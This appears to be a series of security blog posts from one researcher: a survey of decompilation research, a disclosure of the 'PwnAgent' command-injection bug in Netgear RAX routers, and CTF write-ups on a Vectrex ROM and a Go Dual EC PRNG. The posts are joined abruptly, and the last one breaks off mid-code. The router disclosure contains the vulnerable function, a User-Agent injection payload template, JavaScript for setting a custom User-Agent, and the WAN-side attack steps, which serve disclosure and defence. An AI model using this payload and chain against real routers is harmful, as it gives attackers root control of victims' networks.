2024: IEEE S&P - "Len or index or count, anything but v1": Predicting Variable Names in Decompilation Output with Transfer Learning
2023: USENIX   - Decompiling x86 Deep Neural Network Executables.
2023: IEEE S&P - QueryX: Symbolic Query on Decompiled Code for Finding Bugs in COTS Binaries.
2023: IEEE S&P - Pyfet: Forensically Equivalent Transformation for Python Binary Decompilation.
2022: USENIX   - DnD: A Cross-Architecture Deep Neural Network Decompiler.
2022: USENIX   - Decomperson: How Humans Decompile and What We Can Learn From It.
2022: USENIX   - Augmenting Decompiler Output with Learned Variable Names and Types.
2019: CCS      - Kerberoid: A Practical Android App Decompilation System with Multiple Decompilers.
2016: IEEE S&P - Helping Johnny to Analyze Malware: A Usability-Optimized Decompiler and Malware Analysis User Study.
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations.
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.

Around 13 papers, three of which I added manually from the 2024 cycle. For transparency, I’ll add that I’m a first author or co-author on two of them. Of these papers, the following make improvements or investigate binary decompilation:

2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm for Binary Decompilation
2024: USENIX   - A Taxonomy of C Decompiler Fidelity Issues
2024: IEEE S&P - "Len or index or count, anything but v1": Predicting Variable Names in Decompilation Output with Transfer Learning
2022: USENIX   - Decomperson: How Humans Decompile and What We Can Learn From It.
2022: USENIX   - Augmenting Decompiler Output with Learned Variable Names and Types.
2016: IEEE S&P - Helping Johnny to Analyze Malware: A Usability-Optimized Decompiler and Malware Analysis User Study.
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations.
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.

We are left with only 8 papers since 2000. For comparison, if you look at papers with “kernel” in the title, you get a whopping 121 papers. If you consider all decompilation papers across all possible conferences (including Top 4), you still only have around 45 papers. My advisor and I have compiled a list of all those papers.

It’s easy to see that decompilation research has been a rather slow field for the last 20 years with academics. I think most people would find this surprising since decompilation is both important to security researchers and still has many issues. You can find many examples across the web of IDA Pro or Ghidra failing to decompile code correctly.

Generally, I think the academic community never picked up decompiler research intensely because it was difficult to get a working developable decompiler. Recall, that it is not until 2019 that the NSA’s Ghidra decompiler is made public, the first open-source decompiler released by a well-funded organization.

The Structuring Papers

Of all the decompiler papers, only four are on control flow strucuturing:

2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm for Binary Decompilation
2020: Asia CCS - A Comb for Decompiled C Code
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations. 
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.

Note, “A Comb for Decompiled C Code” is not in the Top 4, however, it made contributions significant enough to mention. Adding to the difficulty of working on decompilers, only two (2015 and 2024) of these four works had open-source implementations. Additionally, the 2015 work (DREAM) did not make its code public until 2020, and it only worked on top of IDA Pro 6.6.

It’s easy to see why these advancements took so long when you consider each researcher may need to remake an entire decompiler. The future is not bleak though! There are open-source decompilers now and we have made progress in structuring, which we will talk about in Part 2!

Wrap Up

To summarize, there has been growth in the decompiler community, but it has been much slower than others. Aside from control flow structuring, there has been significant work in using machine learning to recover symbols, human studies to inform decompiler developers, and some preliminary work in using machine translation for code output. Control flow structuring though is still developing and has many problems to overcome. We explore those problems, why they exist, modern approaches, and what the future may look like for decompilers in part 2 of this post series.

If you enjoyed this post, I hope you’ll upvote or like it on some social media platform, since quantitating impact is always nice for researchers :). I’ve also integrated a funny GitHub comment system if you like to use GitHub for interaction or stars. Lastly, I’d like to thank the DARPA Assured MicroPatching program (AMP) for sponsoring this series of research at Arizona State University, which funds my PhD. Until next time, see you in Part 2!

Netgear classified this patch (1.0.9.92) as a LAN-side RCE, though it’s unclear which bugs they are referring to in it. However, there is a blog post by Synacktiv discovering this bug for a LAN-side exploit, which corresponds to CVE-2022-47208. It’s important to note that many pwn2own 2022 teams found this bug at the same time, but until now, none have mentioned its use on WAN-side.

This bug can be easily exploited on WAN-side. Additionally, this bug may still be present in the latest firmware of some of the other RAX models. In an exploration of some recent adjacent RAX versions, it’s clear the code is shared (including the affected binary). We believe Netgear knows about these bugs in the other firmware, but has delayed in pushing a fix for a while. By the time of this post, they may be fixed. In any event, CVE-2023-24749 refers to this WAN-side accessible bug, with specifics on what to look out for.

Curious if your router is one of these affected models? Read on, we have a live demo running. Before talking about any of the how, let’s talk about the impacts.

Exploit Impacts

To exploit this bug on a victim router the attacker needs to do two things:

1. Setup a controlled website hosted on port 80
2. Get the victim to visit the attacker’s site from behind the victim’s router

This results in the attacker getting a RCE on the victim’s router. For most RAX routers, this RCE is root, giving the attacker full control of your router. In the unfortunate scenario that you run nginx behind your vulnerable RAX router, this bug can be exploited with 0 interaction from you.

For others newer to hacking routers, a root shell on a router (over remote) can allow an attacker to snoop on everything you visit (like a bad ISP), read unencrypted traffic, mess with your DNS, and do other nasty things.

We don’t know how many routers this affects, but, we do know this binary is shared by many. At the very least, if you are running a Netgear Nighthawk RAX30 Router that has not been updated since December of 2022, you are WAN-side pwnable.

Exploit Demo

We’ve created a fun (and safe) way to know if your router is pwned. Visit this ☢️ http://pwn.mahaloz.re ☢️. If your router is vulnerable, it will shut your router off (and that is all). If you can refresh the page after visiting, it means your router is safe (hopefully).

I also demoed the LAN-side exploit of this bug at CactusCon 2023 if you just want to watch a video :). Alright, let’s get down to what this powerful bug is…

The Bug

This bug was initially discovered by my teammate @clasm, then reversed by me, and assisted by the rest of T0 team. It’s important to note that this bug was found by Synacktiv before we did, but it was not patched at the time or assigned a CVE. For the rest of this blog, we will only reference the layout of the RAX30 firmware, as things may be slightly different in each model. The bug exists in a nonchalant binary in /bin/ called puhttpsniff.

The puhttpsniff binary is responsible for logging tcp traffic on port 80. It will only log traffic that is leaving a local IP. This means the only traffic that gets recorded will be from devices already on the router.

Every packet that meets these requirements will be logged. It will log the UserAgent and the IP. The logging is done using an NFLOG callback in user-space. That callback is implemented in a single function in puhttpsniff. Here is all the code of the callback function called when a packet meets the above requirements:

Function 0x10FF8

char *__fastcall injection_func(const char *header_data, int header_len, int a3, const char *a4)
{
  char *result; // r0
  int v8[64]; // [sp+0h] [bp-318h] BYREF
  char v9[4]; // [sp+100h] [bp-218h] BYREF
  char v10[508]; // [sp+104h] [bp-214h] BYREF

  memset(v8, 0, sizeof(v8));
  *(_DWORD *)v9 = 0;
  result = (char *)memset(v10, 0, sizeof(v10));
  if ( header_len > 9 )
  {
    header_data[header_len] = 0;
    result = strstr(header_data, "User-Agent: ");
    if ( result )
    {
      _isoc99_sscanf(result + 12, "%255[^\r\n]", v8);
      sprintf(v9, "pudil -i %s \"%s\"", a4, (const char *)v8);
      return (char *)system(v9);
    }
  }
  return result;
}

The entire function is no more than 25 lines and has a glaring bug in the way User-Agent is used. The key lines are:

_isoc99_sscanf(result + 12, "%255[^\r\n]", v8);
sprintf(v9, "pudil -i %s \"%s\"", a4, (const char *)v8);
return (char *)system(v9);

Yes, it’s a textbook command injection. You only need to escape the quotes, which can be triggered like so:

'User-Agent: "; {evil_command_here};"'

If you were paying attention earlier, you might recall that this should only be triggerable via LAN like the original Netgear report:

“It will only log traffic that is leaving a local IP.”

How could you, from the outside, control the UserAgent of a device on the inside of the router? Thanks to the web wisdom of Adam Doupe, who was only passing by when we mentioned the bug, we found that JavaScript can request arbitrary UserAgent responses from executors. JavaScript, when loaded by your browser, can ask you to send certain requests that have server-requested UserAgents.

Tested on the latest Firefox as of this post, you can request a custom UserAgent from visitors with the following JavaScript:

<script>Object.defineProperty(navigator, 'userAgent', 
    }});
    const xhr = new XMLHttpRequest()
    xhr.open("GET", "/")
    xhr.setRequestHeader("User-Agent", '"; {evil_command_here};"');
    xhr.send()
</script>

With this in mind, the execution of the exploit goes something like this:

1. A victim get’s on his router and is assigned an IP: 192.168.1.2
2. The victim goes on Firefox and clicks link malicious.site
3. malicious.site send 192.168.1.2 the code of the site to render locally
4. 192.168.1.2 sees JavaScript and executes the code
5. 192.168.1.2 sends an attacker controlled UserAgent back to malicious.site
6. In transit, the victim router records 192.168.1.2 UserAgent and gets pwned

Take note that this also works for devices (or services) that just forward packets. In the case of an nginx server, which forwards packets, an attacker can simply send a custom UserAgent directly to the forwarding service. The service sends out the packet using a local IP which will be logged.

This bug is very simple to understand, but, in practice, hard to automatically find. In the case of fuzzing, you would rapidly trigger this bug if you rapidly sent randomized packets to the router, but detecting that you triggered it is hard. If you did not know this was a command injection, it would look like nothing happened. The system called would go undetected if you did not already have full system emulation, AND, the puhttpsniff would not crash.

I thought the simplicity of exploitation for this bug, and the strange place it occurred, warranted a fun bug name. I named it PwnAgent, since I really never thought a device would mess up parsing of the UserAgent.

Protecting Yourself

If you find yourself to be one of the unlucky folk with an unpatched RAX model, you have three options:

1. Stop using the internet until Netgear patches it.
2. Drop all packets leaving or entering containing a malicious-looking UserAgent (contains unusual chars).
3. Patch your puhttpsniff binary by downloading the firmware, patching, and reflashing to your router.

If you choose 3, here is a nice and simple patch to apply to puhttpsniff:

binary = bytearray(open("puhttpsniff", "rb").read())
binary[0x1094:0x1098] = [0x90]*4 # NOPs
open("puhttpsniff_new", "wb").write(binary)

It will patch out the system call that allows the injection since this binary has no other purpose but logging.

Bug Discovery

At SEFCOM, we had a bunch of automated tooling and techniques to discover bugs that we used for our targets; however, this bug was ironically discovered manually while waiting for those tools.

Since we already had a testing shell on the device using telnetenable, clasm decided to look at which binaries we running by default on the router. He opened each of the binaries and did a quick search for use of system. One of the first binaries he opened was puhttpsniff. On October 4th he found the bug:

Then by October 5th, we had a full end-to-end LAN exploit working after reversing how packets hit the callback function which we originally thought was un-triggerable:

It wasn’t until later that month that we realized the exploit could be elevated to a WAN side attack.

Conclusion

I think there are a few interesting takeaways here. First, there are still many trivial bugs that can be found with a fast decompiler and grep in embedded devices. Second, although this bug is easy to understand, automated analysis for embedded devices is still a long way away from being able to detect a bug like this. Recall, to detect this bug you needed:

1. Full system emulation (hard)
2. Automated fuzz harnessing (hard)

At least publicly, we have neither of those things. To make the Internet of Things safer, we need to make moves in increasing automated analysis of firmware. If you know anyone with a Netgear router, please tell them to update their router to be on the safe side.

Acknowledgments

• SEFCOM: especially Wil and T=0.
• Adam Doupe: for giving us the idea to look into JavaScript.
• @CatatonicPrime: TBA

The Challenge

In this challenge, we’re provided with only a single file called game.bin. The description for the challenge only says: “back to the 90s.”

Like any random file that you’re given, it’s best to see if file has any knowledge of it:

λ file game.bin
game.bin: Vectrex ROM image: "VECTOR_GAME\200"

Seeing as it does, our introduction begins with a completely foreign device and architecture.

The Vectrex Console

In times like these, it’s always best to start with Wikipedia–it tends to be a great source of general knowledge for tech people. The Vectrex page already tells us the most important thing: that the console’s circuit board, i.e., its architecture, is a Motorola 6809. I’ve heard other CTFers refer to this arch as m6809.

m6809, in this case, is an 8bit architecture that supports some 16bit operations, which means we will likely only ever be dealing with 1 byte at a time. Mixed 8 and 16 bit operations are like ARM Thumb Mode. The game we’re given is essentially a program (ROM) for this system which is full of m68k instructions wrapped by some assets and loading information.

Reversing Questions

Understanding the very basics of this program is essential, but it still leaves a lot of questions. These questions are usually the same questions I ask whenever reversing something not mainstream. Most of them are inspired by my mentor @fish.

1. What tools did the author (and normal devs of the platform) use to make this program?
2. If this is a program wrapped in something deeper, where is the entry point? How do emulators find the entry point?
3. Do any revealing strings tell us more about the program’s origins?
4. If the flag is not a hardcoded string, how are they hiding it?

We’ll attack these in order to get a better understanding of the program.

Tooling

After some google searching with phrases like “vectrex debugger ide,” a blog by a somewhat active developer shows us what people use to develop in this platform: VIDE: Vecrex Integrated Development Environment. Blogs from active developers of one-offs like this are usually gold mines for finding information on how to understand this platform.

The “IDE” is somewhat archaic, but hey, it works!

The IDE allows us to step-debug, dump memory, and even modify memory and registers as it runs! It’s a full-on debugger that also gives us insight into what the disassembly looks like when correctly assembled. With this debugger and an m6809 reference sheet we found from googling, we are set! A reference sheet is needed when you don’t understand how an arch works.

During this scouting phase of tools, we also found a simple emulator called vecx, which was preferred because of how easy the code was to understand. The emulator even included an entire emulation implementation of m6809 in simple C. This was useful because it also allowed us to debug it quickly and find that the entry point of the program is 0x1e. You can reproduce this by setting a breakpoint in the very first read8 of the program. I’d say it’s always helpful to have a simple reference to see how other noobs approached the same problem.

With that squared away, we now understand how other people develop in this arch. The last part we need is some form of static analysis for this ROM. In most cases like this, there will not be some plugin readily available for your decompiler. At this point, you can decide whether to implement an entire loader, which unwraps the object and tells the decompiler where the code begins, or manually mark the code yourself. In another writeup of this same challenge, which is done spectacularly, the author invests his time in writing his own loader for Ghidra.

Static Analysis

When running the game, as shown in the IDE picture, it simply asks for a password. It’s eight chars, outside the bruteforceable range for a CTF. At this moment, we should be thinking about two more questions:

1. Is verification time constant?
2. Is each char verification dependent on the entire password?

Answer 1 is tricky because we can only debug this program once it is being emulated, which makes it extremely hard to detect changes in time when verifying something like AAAAAAAA and BAAAAAAA. Instead, we keep ##2 in mind.

We will be using IDA for static analysis, but you should be able to do this in Ghidra or Binja. For IDA, we need to manually mark the start of the code section because IDA has no knowledge of this binary format; however, it does understand m6809 instructions. In IDA, going to the EP we discovered earlier, 0x1e, typing C while over it, we get disassembled instructions with general function boundary guesses from IDA.

We are left with the following functions:

sub_974	
sub_A5F	
sub_1470
sub_14D7
sub_1A63
sub_1C60
sub_219F
sub_2549
sub_2851
sub_2D26
sub_2F3C
sub_3274
sub_33C6
sub_3415
sub_350E
sub_3577
sub_35A5
sub_4080
sub_4085
sub_4094
sub_40A5
sub_40AC
sub_40BF
sub_40F4

Decompilation won’t be an option here, but we can still use the CFG and XREFS to get a better understanding of this program. To better collaborate with my teammates and track our progress throughout the challenge, I used a tool I write called binsync. Through this public repo, you can see what we changed and when in our decompilers.

At this point in reversing, we may be tempted to just jump into the entry point and go off, but a wise reverser once told me:

“Don’t start where the program starts. Start where the interesting things start!”

At first, this seems like a stupid quote, but I promise it has actual application. A generally good piece of advice for reversing any program is finding the code location of output you associate to a state and then finding beacons. Beacons are structures and patterns that you recognize from programming or reversing. Recently, they have been a hot topic in research of qualitative analysis of reverse engineering. In those papers, they have recently shown that a breadth-first-search RE process that is both quick and precise tends to be the most effective when reversing.

What does this all have to do with getting the password? Well, we know the state we don’t want.

We are looking for a single control flow point that changes access to strings based on some symbolic value. After rapid clicking through the entry function callees, we find only two places that compare a value and then take wildly different branches. When I say wild, I mean things involving loops, string construction, and what we assume is a library call to print. The interesting one is here:

loc_2FA3:                              
ldb     3,s
cmpb    ##1
lbeq    loc_30A5
ldb     ##8
leax    ,y
jsr     sub_1A63
tstb
lbne    loc_3185

It calls the function at location 0x1a63, checks if it’s 1, then branches to places with a series of calls, loops, and printouts if correct. If false, it’s a quick succession to what looks like an exit. The hunch here is that we’ve found some kind of state authenticator.

Recall our password is 8 bytes long. We look into the CFG of this function:

If that is hard to see, it looks like eight things are being compared. If one fails, the compare chain ends early and outputs 0. If it gets to the end, it outputs 1. Since we can see all the addresses being compared, we throw them in the debugger and confirm they are what we think they are. Dynamic analysis serves as a way for us to validate assumptions we made based on static analysis.

When we look in the debugger at the RAM offset of 116, we see our input AAAAAAAA has changed into something mangled. After seeing this, it’s safe to assume that the flag will also be mangled in the same way. Using this, we can now answer our reverser question of if all inputs affect the check. It really seems like it does not, but we can confirm that by running it through each char in the alphabet.

After two attempts, which get us a B, the first if-statement passes in the check tree. There are only eight chars, and each char only has 26 options… that is bruteforceable by hand! After 10 mins of guessing with a teammate, zammo, we guess all the chars of the key:

BLACKKEY

What does it mean? I have no idea.

A Recap of Techniques

We did the following:

1. Find how normal people dev in this arch
2. Use those tools to learn how the program starts and uses memory
3. Use that knowledge to make tools work
4. Question how authentications works
5. Quickly search for patterns that match assumptions made in 4

I think the noteworthy takeaway from this section of the challenge was that most of the code you see is useless. This program is a game, so there will be an insane amount of code just for running the game and simulating things like game ticks. It was important that we found structures that looked familiar quickly and disregarded most other things.

The Real Game

After you get the password, you get to the second part of the game:

Instead of going in-depth into part two of this challenge, I again say go check out this blog if you are looking for a technical writeup of this section. I will instead give an overview of tricks we found useful for reversing both a game and an arch we did not fully understand.

In this second part of the game you are tasked with collecting coins (and completing an easter egg), then going to the flag at the end of the map. I find the game very hard to play, but zammo thought it was fun (he was also good, lol).

Tricks for Game Hacking

And now some tricks.

Make a fast workflow

In this game, if you fell off, you died and had to return to the password prompt, which was very painful. Instead of wasting time having to restart the game, finding ways to jump around execution points in the game and reverse actions are helpful. Because we are running in an emulator, we are blessed with the ability to “undo” instructions. In our workflow, we had:

1. A quick set $pc command to get us back to the start of the game
2. A breakpoint set for the function called if you fall off

In the event of 2, we could undo the last few instructions to get back on the platform.

Observe Memory

Early in playing, we had a memory dump of the game on the screen. This showed us which values changed more than others. Through this, we were able to find our (x, y) coordinates storage location, our coin storage location, flags for winning or losing, and counter for jumps (suspicious). This technique of observing changes in memory, or differential memory analysis, is how many game-hacking tools like Cheat Engine work. Zammo found quite a bit of information like this.

Always observing memory gives you ample opportunity to see patterns in changes that may signify the existence of a variable (like health). In the case of this game, knowing a jump counter existed was crucial to finding the final flag.

Lookup Suspicious Constants and Patterns

I should’ve done this earlier in my reversing, but there was a strange pattern of 0-256 being set into an array and then shuffled. The program then used that value for xoring. I found it very weird. Once looking this up a little more, I found that this was just an inlined implementation of RC5. It’s important to remember our 4th reversing question: how are they hiding the flag string from us. In most cases, you can only hide a string through encryption. If the game has minimal memory and instructions, it’s likely the encryption will be:

1. Fast
2. Easy to implement
3. Not take a lot of memory

In a perfect world, you would be able to recognize the most simple encryption algorithms in assembly. You can gain knowledge in this area by reading some survey papers on what encryption schemes are used most commonly used in this area of computing.

Generally, any time you see a large constant or a strange loop of setting many constants, do a quick google search for them. It’s likely a hashing or encryption algorithm.

Identify External Functions

Lastly, identifying external functions in games is probably the most important thing you can do when statically reversing big games. Usually, I like to start with finding which function is responsible for printing graphics to the screen. In this case, that information is what allowed us to find all prints (which is a small number) and find where the second flag is eventually decrypted and printed.

When you can, try to identify what looks like user-set memory access and library-set access. In embedded games like this, it will usually be made more obvious by access to ROM and RAM. On that note, if you don’t understand how memory is laid-out in your platform or game, you should get background knowledge on it from around the web.

Wrapup

I hope you enjoyed this quick overview of hacking around in another architecture. If you take anything away from this post, it’s that you often need to move fast when reversing and make a lot of assumptions that you confirm later (usually with dynamic analysis). You use these assumptions, plug background knowledge in the area, to identify beacons, and then go from there. See you next time \o.

During Insomni’hack teaser 2022, I worked on a reversing challenge called Nobus101 that ended up having a lot of fun use-cases for my debugging tool decomp2gef. You can all the challenge files and solve in shellphish/writeups

Collaborators

• @redgate
• @mystiz / Samuel

Challenge Description

The challenge is a single binary, nobus101.bin. The challenge description is:

An old Clyde Frog employee, J.S., gave us an access to a not so experimental PRNG: curl http://nobus101.insomnihack.ch:13337

Scouting a Go Binary

You can often tell that a binary is a Go binary just by opening it in a decompiler and seeing the naming convention:

You will usually see something like main_*, which means it’s a function of the package main. You can also use a little hack:

strings -n 5 nobus101.bin | grep "goroutine"

Both work well.

Something I noticed instantly in this binary is the main_handleRequests function which is a tell-tale sign that the binary implements a Go built-in http server. This usually looks like:

package main

import (
    "fmt"
    "net/http"
)

func hello(w http.ResponseWriter, req *http.Request) {

    fmt.Fprintf(w, "hello\n")
}

func main() {

    http.HandleFunc("/hello", hello)
    http.ListenAndServe(":1337", nil)
}

So at this point, I assume it’s an RNG-as-a-service http-server.

One last thing to take note of before actually reversing this binary is trying to identify which functions are written by the user and which are just static linking of Go Libs. IDA actually does a pretty good job at telling the use which function is a user function and which is not in this case.

Usually, everything you see in main_ is a user-written function. You will also find other packages with some user-looking name, like: my_printer_. In this case, the binary is actually small. The entire program is contained within the main package. That means the functions are as follows:

main_discard_bits
main_gen_Q
main_seed
main__ptr_DRBG_drbg_gen
main_getRand
main_getFlag
main_getHelp
main_handleRequests
main_main
main_init

Understanding the HTTP Server

I was once told by a smart reverser to “never start at _start”, but in this case I think it’s really helpful to take a glance at the main_main of the binary which happens right after the init of main. It’s almost like an entry point.

There is a lot of trash in the decompilation because Go has a lot of Runtime checks. For the majority of these, you can ignore them. There is one easily distinguishable line in the decompilation:

os_OpenFile((__int64)"/tmp/nobus-logs", 15LL, 1089LL, 438);

This is opening a file. If at any point you need to search up what a function does, just take the string after the last _. In this case it would be OpenFile. Just search "Go OpenFile" to find exactly what the calling params are. In this case, it’s actually easier to just cat the file while the binary runs. So let’s run the binary:

./nobus101.bin

Since this is an http server, its expected that there would be no output in stdout, but it should have executed that OpenFile already, so we can check what’s in it:

└─ λ cat /tmp/nobus-logs
[NOBUS] 2022/02/07 13:32:22 init: seed:c1b129fd156bb3c3efa15b0b1c4146b8f44cc5310e18a4b8c36a2632a53cf3e2
[NOBUS] 2022/02/07 13:32:22 init: v1:d48545a2b590e3c340ff274216ce07211d735c4fc498d2508c9d6d5f0d56
[NOBUS] 2022/02/07 13:32:22 init: v2:bfeafd478ebf201d0a3812dd48839bfa175ea1174174723ee5da97f46ab2
[NOBUS] 2022/02/07 13:32:22 init: v3:ae5deca8f2368358a0b2ab1a60aee2dbd875d87d88d99fe74c37d6b060aa

These numbers look like random numbers and a seed, but we should confirm it. Let’s try connecting to the binary and see if we learn anything.

It’s unclear what this http server would be running on, so we can just guess that the description port is the same as this one:

└─ λ curl http://localhost:13337

     NOBUS 101 - CTF Insomnihack 2022
     --------------------------------

      GET /prng - return two random values
     POST /flag - submit the next value that will be generated by the PRNG and get the flag

     Examples:

     $ curl http://localhost:13337/prng
     88bb6ab83d9f2ff423f37bd417923038d8a377916f7a62183e911407ff27
     044630dbec4b71cb0a438c9f1c55e239a1d46b27b8583ae986e6e857e99b

     $ curl -d "662e194be250f360dfce1c853caf2f4b27ad0b5b118f20ef927581df8e71" http://localhost:13337/flag
     INS{XXX}

It is the same port. We actually get a lot of information here, mostly about the endpoints and how to win. We are looking to guess the next number in a random number sequence, which is a classic RNG break. Let’s confirm these nums:

└─ λ curl http://localhost:13337/prng
d48545a2b590e3c340ff274216ce07211d735c4fc498d2508c9d6d5f0d56
bfeafd478ebf201d0a3812dd48839bfa175ea1174174723ee5da97f46ab2

So the authors are nice and are logging the random numbers so we have a way to solve this locally in a debuggable way.

Let’s also just confirm that this only handling these two requests:

0x637EFA:

call    net_http__ptr_ServeMux_Handle
nop
mov     rax, cs:off_859650
mov     [rsp+40h+var_40], rax
lea     rax, aPrng      ; "/prng"
mov     [rsp+40h+var_38], rax
mov     [rsp+40h+var_30], 5
lea     rax, go_itab__ptr_http_HandlerFunc_comma__ptr_http_Handler
mov     [rsp+40h+var_28], rax
lea     rcx, off_6BDFC8
mov     [rsp+40h+var_20], rcx
call    net_http__ptr_ServeMux_Handle
nop
mov     rax, cs:off_859650
mov     [rsp+40h+var_40], rax
lea     rax, aFlag_1    ; "/flag"
mov     [rsp+40h+var_38], rax
mov     [rsp+40h+var_30], 5
lea     rax, go_itab__ptr_http_HandlerFunc_comma__ptr_http_Handler
mov     [rsp+40h+var_28], rax
lea     rax, off_6BDFB8
mov     [rsp+40h+var_20], rax
call    net_http__ptr_ServeMux_Handle

They essentially translate to:

func handleRequests() {
    http.HandleFunc("/help", getHelp)
    http.HandleFunc("/prng", getRand)
    http.HandleFunc("/flag", getFlag)
    http.ListenAndServe(":13337", nil)
}

Nice. Alright, enough overview of the http server. Let’s find out how the hell they are generating random numbers.

Random Number Generator

When looking at main_main again I took note of the user-made functions that were called:

main_seed()
main_gen_Q()
main__ptr_DRBG_drbg_gen(arg)
main__ptr_DRBG_drbg_gen(arg)
main__ptr_DRBG_drbg_gen(arg)

From what we know so far, and the output from the /tmp/nobus-logs, we can assume this:

1. make seed for RNG
2. ???? Q ???? 
3. make v1
4. make v2
5. make v3

Q is a strange thing to see here. It means the rng is related to a crypto system. Maybe RSA or Eliptic Curves (since you often use Q to represent a point on the curve).

At this point, I decided to look back at the main_init function which always gets called right before main_main once. You could use the init if you wanted to make sure something is usable across threads, like a global seed or value.

Looking at main_init, we see two interesting things:

crypto_elliptic_P256();
...
v9 = math_big__ptr_Int_SetString(
         v4,
         (__int64)"132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40",
         64LL,
         16LL);
...
qword_864E88 = v9
...

So we are led to the what the Q means. It is related to Eliptic Curves, and it is a point on the curve.

I was curious as to what the second big number was, because I thought it might be another important value so I checked it out. The assignment happens at 0x63856D, I decided to confirm this is a global in gdb. I connected with decomp2gef so I could examine the decompilation directly:

Take note of how the big_Int is stored in Go. The second qword is a pointer to the actual number

0xc00000e780:   0x0000000000000000      0x000000c0000184b0
0xc00000e790:   0x0000000000000004

If we examine it:

gef➤  x/4gx (long long *) ((long long *) qword_864E88)[1]
0xc0000184b0:   0x5957fd5f37d8be40      0xffb18764a3b4df1f
0xc0000184c0:   0xc40ba24e11bf3ec7      0x132867e88e82431d

It’s actually the same value we see set in the string 132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40. This information is actually super useful to remember when trying to understand the varoious Big Ints we see set all over this program.

Understanding P256 EC

From searching around on the internet, it turns out that P256 is a well-known configuration of Eliptic Curves (ECs). At this point, I wanted to start understanding how this was utilized in Go. The docs provide a nice overview, but to really understand it, I took a look at the source.

crypto/elliptic/p256.go:28

func initP256() {
	// See FIPS 186-3, section D.2.3
	p256Params = &CurveParams{Name: "P-256"}
	p256Params.P, _ = new(big.Int).SetString("115792089210356248762697446949407573530086143415290314195533631308867097853951", 10)
	p256Params.N, _ = new(big.Int).SetString("115792089210356248762697446949407573529996955224135760342422259061068512044369", 10)
	p256Params.B, _ = new(big.Int).SetString("5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b", 16)
	p256Params.Gx, _ = new(big.Int).SetString("6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296", 16)
	p256Params.Gy, _ = new(big.Int).SetString("4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5", 16)
	p256Params.BitSize = 256

	p256RInverse, _ = new(big.Int).SetString("7fffffff00000001fffffffe8000000100000000ffffffff0000000180000000", 16)

	// Arch-specific initialization, i.e. let a platform dynamically pick a P256 implementation
	initP256Arch()
}

Every time I try to do a ECC challenge, I need to review the ECC Wikipedia for the equation for a curve:

y**2 = x**3 + ax + b

In addition, you have a base point of the graph, G, which acts as the generator. In this case:

G = (Gx, Gy)

As defined by the Go source (which is the correct way you use p256). You also have p (shown as P in Go since only private properties can be lowercase in Go), which is the field/module for this curve. It essentially bounds this curve by whatever it is, just like RSA’s N. Finally, n (shown N in source) is for computing the identity.

So what’s Q?:

Q = k*P

P and Q (not the P shown in source) are points on the curve and k is like the private key that turns P into Q, just like RSA. If this is interesting to you, I highly suggest checking out what CryptoHack has on this subject.

Where is the Bug?

So the author is using a crypto library in a well-known language that is implementing a well-known EC variant. Where could the bug be? I saw only two possible directions:

1. The author is trying to show us some bug in Golang that can be exploited in the right scenario
2. The author is trying to show us some bug when you choose a specific Q and k with P256.

I originally started with 1, but I pivoted to 2 after googling around a lot and finding a lot of forum discussion about people claiming P256 was backdoored. At first, I thought it was just nonsense, then I found this paper: Dual EC: A Standardized Back Door.

The Paper Spark Notes

The paper presents a way to, surprise surprise, guess the next random number in a series of given numbers when you know point P, Q, k and guesses before your current guess. They do this with some tricks on the choice of P and Q.

Lucky for me, I found a script of this exact attack implementation for UTCTF 2021.

So the question now becomes, what is P, k, and Q because we need them for the attack. Let the search begin.

Understanding Q Generation

The pinnacle of solving this challenge is understanding how Q is generated, which is of course done in the main_gen_Q:

void __golang main_gen_Q(__int64 a1, __int64 a2)
{
  __int64 v2; // [rsp+8h] [rbp-70h]
  __int64 v3; // [rsp+20h] [rbp-58h]
  __int64 v4; // [rsp+28h] [rbp-50h]
  unsigned __int64 v5; // [rsp+38h] [rbp-40h]
  __int64 *v6; // [rsp+40h] [rbp-38h]
  __int64 v7; // [rsp+48h] [rbp-30h]
  __int64 v8[2]; // [rsp+50h] [rbp-28h] BYREF
  __int128 v9; // [rsp+60h] [rbp-18h]

  LOBYTE(v8[0]) = 0;
  v8[1] = 0LL;
  v9 = 0LL;
  v6 = (__int64 *)qword_864E88;
  v5 = 8LL * *(_QWORD *)(qword_864E88 + 16);
  v7 = runtime_makeslice((__int64)&RTYPE_uint8, v5, v5);
  if ( v5 < math_big_nat_bytes(v6[1], v6[2], v6[3], v7, v5, v5) )
    runtime_panicSliceB();
  (*(void (__golang **)(__int64))(a1 + 56))(a2);
  if ( dword_896B70 )
  {
    runtime_gcWriteBarrier();
    runtime_gcWriteBarrierCX();
  }
  else
  {
    qword_864E68 = v3;
    qword_864E70 = v4;
  }
  v2 = (*(__int64 (__golang **)(__int64))(a1 + 48))(a2);
  math_big__ptr_Int_ModInverse((__int64)v8, qword_864E88, *(_QWORD *)(v2 + 8));
}

Lots of slicing into bytes to pass args, which is what makeslice does. The type is of uint8, which just means it’s a series of bytes. The real interesting part of this code is the function call happeing in the middle: 0x637282:

(*(void (__golang **)(__int64))(a1 + 56))(a2);

Where does it go? What is its actual args?

The address points to crypto/elliptic.p256Curve.ScalarBaseMult, which means we are preforming the multiplacation for Q = k*P we talked about earlier! The code we are calling corresponds:

crypto/elliptic/p256.go:67

func (p256Curve) ScalarBaseMult(scalar []byte) (x, y *big.Int) {
	var scalarReversed [32]byte
	p256GetScalar(&scalarReversed, scalar)

	var x1, y1, z1 [p256Limbs]uint32
